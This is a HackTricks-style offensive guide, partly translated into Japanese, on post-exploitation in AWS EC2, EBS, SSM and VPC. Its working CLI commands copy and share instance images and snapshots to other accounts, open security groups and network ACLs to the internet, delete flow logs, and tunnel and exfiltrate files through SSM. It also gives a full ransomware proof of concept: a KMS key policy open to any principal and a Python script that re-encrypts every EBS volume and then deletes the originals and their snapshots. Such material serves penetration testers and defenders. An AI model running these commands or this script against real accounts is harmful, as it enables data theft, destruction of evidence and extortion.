Files

28 KiB
Raw Blame History

AWS - EC2, EBS, SSM & VPC Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

EC2 & VPC

For more information check:

{{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}}

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroringは、インスタンス自身に何もインストールする必要なく、VPC内のEC2インスタンスに対する受信および送信トラフィックを複製します。この複製されたトラフィックは、通常、解析や監視のためにネットワーク侵入検知システム(IDS)のようなものに送られます。
攻撃者はこれを悪用してすべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:

For more information check this page:

{{#ref}} aws-malicious-vpc-mirror.md {{#endref}}

Copy Running Instance

Instances usually contain some kind of sensitive information. There are different ways to get inside (check EC2 privilege escalation tricks). However, another way to check what it contains is to create an AMI and run a new instance (even in your own account) from it:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, 通常は敏感な情報を含むため、確認するとこれらの情報が判明するはずです。
もしvolume without a snapshotを見つけたら: Create a snapshotして以下の操作を行うか、または単にmount it in an instanceしてアカウント内のinstanceにマウントしてください。

{{#ref}} aws-ebs-snapshot-dump.md {{#endref}}

Covert Disk Exfiltration via AMI Store-to-S3

EC2 AMIをCreateStoreImageTaskで直接S3にエクスポートし、snapshot共有なしで生のディスクイメージを取得します。これにより、インスタンスのネットワークを触らずに完全なオフラインフォレンジックやデータ窃取が可能になります。

{{#ref}} aws-ami-store-s3-exfiltration.md {{#endref}}

Live Data Theft via EBS Multi-Attach

io1/io2のMulti-Attach volumeを第二のinstanceにアタッチし、読み取り専用でマウントしてsnapshotを使わずにライブデータを吸い上げます。被害対象のvolumeが同一のAZ内で既にMulti-Attach有効の場合に有効です。

{{#ref}} aws-ebs-multi-attach-data-theft.md {{#endref}}

EC2 Instance Connect Endpoint Backdoor

EC2 Instance Connect Endpointを作成し、ingressを許可して一時的なSSHキーを注入することで、managed tunnel経由でprivate instancesへアクセスできます。public portsを開けずに迅速な lateral movement経路を確保します。

{{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md {{#endref}}

EC2 ENI Secondary Private IP Hijack

被害者のENIのsecondary private IPを攻撃者が制御するENIに移動して、IPでallowlistedされている信頼ホストをなりすますことができます。特定のアドレスに紐づく内部ACLやSGルールをバイパス可能にします。

{{#ref}} aws-eni-secondary-ip-hijack.md {{#endref}}

Elastic IP Hijack for Ingress/Egress Impersonation

被害者のinstanceからElastic IPを攻撃者に再関連付けして、インバウンドトラフィックを傍受したり、信頼されたpublic IPに見える発信接続を行ったりします。

{{#ref}} aws-eip-hijack-impersonation.md {{#endref}}

Security Group Backdoor via Managed Prefix Lists

security groupルールがcustomer-managed prefix listを参照している場合、攻撃者のCIDRをそのリストに追加することで、SG自体を変更せずに依存するすべてのSGルールへのアクセスが静かに拡大します。

{{#ref}} aws-managed-prefix-list-backdoor.md {{#endref}}

VPC Endpoint Egress Bypass

gatewayまたはinterfaceのVPC endpointsを作成して、isolated subnetsからのoutboundアクセスを回復します。AWS-managed private linksを利用することで、IGWやNATがない制御をバイパスしてdata exfiltrationが可能になります。

{{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}}

ec2:AuthorizeSecurityGroupIngress

ec2:AuthorizeSecurityGroupIngress権限を持つ攻撃者は、security groupsにインバウンドルールを追加できます例えば0.0.0.0/0からのtcp:80を許可するなど。これにより内部サービスがpublic Internetやそれ以外の未承認ネットワークへ曝露されます。

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

ec2:ReplaceNetworkAclEntryまたは同等の権限を持つ攻撃者は、subnet の Network ACLs (NACLs) を変更して非常に許容的にすることができます。例えば重要なポートで 0.0.0.0/0 を許可することで、subnet 全体の範囲がインターネットや未承認のネットワークセグメントにさらされます。Security Groups が per-instance 単位で適用されるのに対し、NACLs は subnet level で適用されるため、制限的な NACL を変更すると、多数の hosts へのアクセスを有効にして、より大きな blast radius をもたらす可能性があります。

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

ec2:Delete* および iam:Remove* 権限を持つ攻撃者は、重要なインフラ資源や設定を削除できます — 例えば key pairs、launch templates/versions、AMIs/snapshots、volumes や attachments、security groups や rules、ENIs/network endpoints、route tables、gateways、または managed endpoints などです。これにより即時のサービス停止、データ損失、及びフォレンジック証拠の消失が発生する可能性があります。

One example is deleting a security group:

aws ec2 delete-security-group
--group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウント外でネットワークのメタデータsource/destination、portsを継続的に収集し、長期的な偵察に利用できます。

{{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md {{#endref}}

Data Exfiltration

DNS Exfiltration

EC2 をロックダウンして外向きトラフィックを遮断しても、exfil via DNS によりデータが持ち出される可能性があります。

  • VPC Flow Logs はこれを記録しません
  • AWS DNS logs へのアクセス権がありません。
  • "enableDnsSupport" を false に設定してこれを無効化します:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

攻撃者は自身が管理するアカウントの API エンドポイントを呼び出す可能性があります。Cloudtrail はこれらの呼び出しをログに記録し、攻撃者は Cloudtrail ログ内で exfiltrate したデータを確認できます。

Open Security Group

以下のようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得られる可能性があります:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

EC2インスタンスを実行し、ECSインスタンスを実行するために使用されるよう登録して、ECSインスタンスのデータを盗むことが可能です。

For more information check this.

VPC flow logs の削除

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

必要な権限:

  • ssm:StartSession

コマンド実行に加えて、SSMはトラフィックトンネリングを可能にし、Security Groups や NACLs によりネットワークアクセスがない EC2 インスタンスから pivot するために悪用される可能性があります。 この機能が有用なシナリオの一つは、Bastion Host からプライベートな EKS クラスターへ pivot する場合です。

セッションを開始するには SessionManagerPlugin をインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. お使いのマシンに SessionManagerPlugin をインストールする
  2. 次のコマンドを使って Bastion EC2 にログインする:
aws ssm start-session --target "$INSTANCE_ID"
  1. Abusing SSRF in AWS EC2 environment スクリプトを使って Bastion EC2 の AWS 一時的な資格情報を取得する
  2. 取得した資格情報を自分のマシンの $HOME/.aws/credentials ファイルに [bastion-ec2] プロファイルとして転送する
  3. Bastion EC2 として EKS にログインする:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config ファイル内の server フィールドを https://localhost を指すように更新します
  2. 次のように SSM トンネルを作成します:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectl ツールからのトラフィックは現在 SSM tunnel を介して Bastion EC2 経由で転送されており、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
kubectl get pods --insecure-skip-tls-verify

Note that the SSL connections will fail unless you set the --insecure-skip-tls-verify flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.

最後に、この手法はプライベート EKS クラスターを攻撃することに限定されるものではありません。任意のドメインとポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットすることができます。


クイック ローカル ↔️ リモート ポートフォワード (AWS-StartPortForwardingSession)

もし EC2 インスタンスからローカルホストへ 1つの TCP ポートのみをフォワード するだけなら、AWS-StartPortForwardingSession SSM ドキュメントを使用できます(リモートホストパラメータは不要です):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

このコマンドは、ワークステーション(localPortNumber)とインスタンス上の選択したポート(portNumber)との間に、インバウンド Security-Group ルールを開くことなく双方向トンネルを確立します。

Common use cases:

  • File exfiltration
  1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易 HTTP server を起動します:
python3 -m http.server 8000
  1. ワークステーションから SSM トンネル経由でファイルを取得します:
curl http://localhost:8000/loot.txt -o loot.txt
  • 内部の Web アプリケーションへのアクセス (例: Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

ヒント: 証拠を exfiltrating する前に圧縮して暗号化し、CloudTrail が平文の内容をログに記録しないようにする:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI を共有する

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

パブリックおよびプライベート AMIs 内の機密情報を検索する

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel は 公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツールです。ターゲット AMIs からインスタンスを起動し、ボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。

EBS Snapshot を共有

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

これは S3 post-exploitation notes に示された Ransomware デモに類似した PoC概念実証です。KMS は、様々な AWS サービスを暗号化するのが非常に簡単であることから、RMSRansomware Management Serviceと呼ぶべきでしょう。

First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

キーのポリシールールでは、EBS ボリュームを暗号化するために使用できるように、次の権限が有効になっている必要があります:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

公開アクセス可能なキーが利用できるようになったので、未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスをいくつか稼働させている 'victim' アカウントを利用できます。対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたと仮定したものです。

貼り付けた画像 20231231172655 貼り付けた画像 20231231172734

S3 ransomware の例と同様に、この攻撃ではアタッチされた EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーで新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使った snapshots を削除します。 貼り付けた画像 20231231173130

これにより、アカウント内に残るのは暗号化された EBS ボリュームのみになります。

貼り付けた画像 20231231173338

また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止した点にも注意してください。元の未暗号化ボリュームはもう存在しません。

貼り付けた画像 20231231173931

次に、'attacker' アカウントの key policy に戻り、key policy から 'Outside Encryption' ポリシールールを削除します。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

新しく設定したキー ポリシーが反映されるまで少し待ちます。次に「被害者」アカウントに戻り、新たに暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームはアタッチできることが確認できるでしょう。

Pasted image 20231231174131 Pasted image 20231231174258

しかし、暗号化された EBS ボリュームをアタッチしたまま実際に EC2 インスタンスを起動しようとすると、起動は失敗し、'pending' 状態から 'stopped' 状態へ戻ったまま永遠に進みません。これは、アタッチされた EBS ボリュームをそのキーで復号できないためで、キー ポリシーがもはやそれを許可していないからです。

Pasted image 20231231174322 Pasted image 20231231174352

以下は使用した python スクリプトです。これは '被害者' アカウントの AWS クレデンシャルと、暗号化に使用する公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウントにアタッチされているすべての EC2 インスタンスに対して、利用可能なすべての EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して、元の EBS ボリュームをデタッチして削除し、最後に処理中に作成したすべての snapshots を削除します。これにより、対象の '被害者' アカウントには暗号化された EBS ボリュームだけが残ります。ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. 利用した KMS キーを使って snapshots から復元することで回復できますが、最終的にはこれは ransomware の PoC であることを認識しておいてください。

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

参考資料

{{#include ../../../../banners/hacktricks-training.md}}